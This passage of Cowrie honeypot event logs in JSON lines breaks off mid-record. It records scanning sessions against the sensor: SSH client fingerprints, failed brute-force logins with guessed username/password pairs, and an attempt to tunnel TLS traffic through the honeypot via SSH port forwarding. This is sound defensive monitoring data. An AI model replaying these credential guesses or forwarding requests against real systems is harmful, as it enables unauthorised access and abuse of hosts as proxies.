{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\x06M\\xf9\\x83g5\\xd2\\x18\\x80\\xd1\\xe0\\xbd\\x80G\\n\\xf2/\\xe7\\xd9\\\\F\\x99d\\xd3\\x02\\xcd\\xees\\xaa\\r$ \\xa8\\xfaI\\x1ab@\\xb4\"L\\xb0\\xf1\\xca\\x07i\\x9d\\xf5\\\\\\xd0\\x81\\'\\'\\xca/\\xfe0\\xa0n\\xbd\\x9dG\\x867\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\xc9\\xdc3\\x94\\x97\\x8e\\xe3\\x99M\\x05$)\\xb1JgF\\xdd\\x95K\\x97:`u\\x95\\xd9\\r\\x13\\x96\\x83\\xf6\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\x06M\\xf9\\x83g5\\xd2\\x18\\x80\\xd1\\xe0\\xbd\\x80G\\n\\xf2/\\xe7\\xd9\\\\F\\x99d\\xd3\\x02\\xcd\\xees\\xaa\\r$ \\xa8\\xfaI\\x1ab@\\xb4\"L\\xb0\\xf1\\xca\\x07i\\x9d\\xf5\\\\\\xd0\\x81\\'\\'\\xca/\\xfe0\\xa0n\\xbd\\x9dG\\x867\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\xc9\\xdc3\\x94\\x97\\x8e\\xe3\\x99M\\x05$)\\xb1JgF\\xdd\\x95K\\x97:`u\\x95\\xd9\\r\\x13\\x96\\x83\\xf6\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.396649Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.677987Z","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.953993Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x91Xj\\xe5\\x19\\x16QR\\x13\\x01\\x9b\\t\\x1c\\xebVB.O\\xe4\\xe2RJ\\xa4\\\\\\xa3\\x18W\\xc7\\x85\\xe6s \\x8d\\xa1i1\\xe0`\\xa6J\\xda6\\x0b\\xad\\x8ajn@\\x05k\\xcd(j\\xe6\\x0cWfr\\xfft\\x99)\\xa3\\x06\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\x04b@5&4\\xe2\\xf6\\x1d\\xe1\\x15\\x13 A\\xfa\\xb2\\x92\\x9c~\\x15<#y\\xec\\x05q\\xe4\\xc4&\\xb5T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x91Xj\\xe5\\x19\\x16QR\\x13\\x01\\x9b\\t\\x1c\\xebVB.O\\xe4\\xe2RJ\\xa4\\\\\\xa3\\x18W\\xc7\\x85\\xe6s \\x8d\\xa1i1\\xe0`\\xa6J\\xda6\\x0b\\xad\\x8ajn@\\x05k\\xcd(j\\xe6\\x0cWfr\\xfft\\x99)\\xa3\\x06\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\x04b@5&4\\xe2\\xf6\\x1d\\xe1\\x15\\x13 A\\xfa\\xb2\\x92\\x9c~\\x15<#y\\xec\\x05q\\xe4\\xc4&\\xb5T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.957411Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:41.334427Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49466,"dst_ip":"159.203.135.109","dst_port":22,"session":"d64005fe702b","protocol":"ssh","message":"New connection: 91.92.40.36:49466 (159.203.135.109:22) [session: d64005fe702b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:43.627389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:43.637941Z","src_ip":"91.92.40.36","session":"d64005fe702b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:43.717636Z","src_ip":"91.92.40.36","session":"d64005fe702b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rashmi","message":"login attempt [admin/rashmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:44.122731Z","src_ip":"91.92.40.36","session":"d64005fe702b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:44.636881Z","src_ip":"91.92.40.36","session":"2093ab023d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:45.391918Z","src_ip":"91.92.40.36","session":"d64005fe702b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.58198595046997,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:45.865926Z","src_ip":"94.23.66.112","session":"0776a294ad8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28320,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0ba2273e30b","protocol":"ssh","message":"New connection: 91.92.40.36:28320 (159.203.135.109:22) [session: f0ba2273e30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:50.284634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:50.713791Z","src_ip":"91.92.40.36","session":"f0ba2273e30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:50.716498Z","src_ip":"91.92.40.36","session":"f0ba2273e30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f823e7f4c421","protocol":"telnet","message":"New connection: 172.81.62.90:37700 (159.203.135.109:23) [session: f823e7f4c421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:50.746214Z"}
{"eventid":"cowrie.login.failed","username":"docker","password":"654321","message":"login attempt [docker/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:52.790376Z","src_ip":"91.92.40.36","session":"f0ba2273e30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:54.543360Z","src_ip":"91.92.40.36","session":"f0ba2273e30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48920,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eb072ce4b50","protocol":"ssh","message":"New connection: 27.71.230.31:48920 (159.203.135.109:22) [session: 8eb072ce4b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:57.538285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:57.574648Z","src_ip":"27.71.230.31","session":"8eb072ce4b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52848,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a65b12985c2","protocol":"ssh","message":"New connection: 91.92.40.36:52848 (159.203.135.109:22) [session: 7a65b12985c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:58.791948Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:59.095591Z","src_ip":"27.71.230.31","session":"8eb072ce4b50","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:59.104105Z","src_ip":"91.92.40.36","session":"7a65b12985c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecds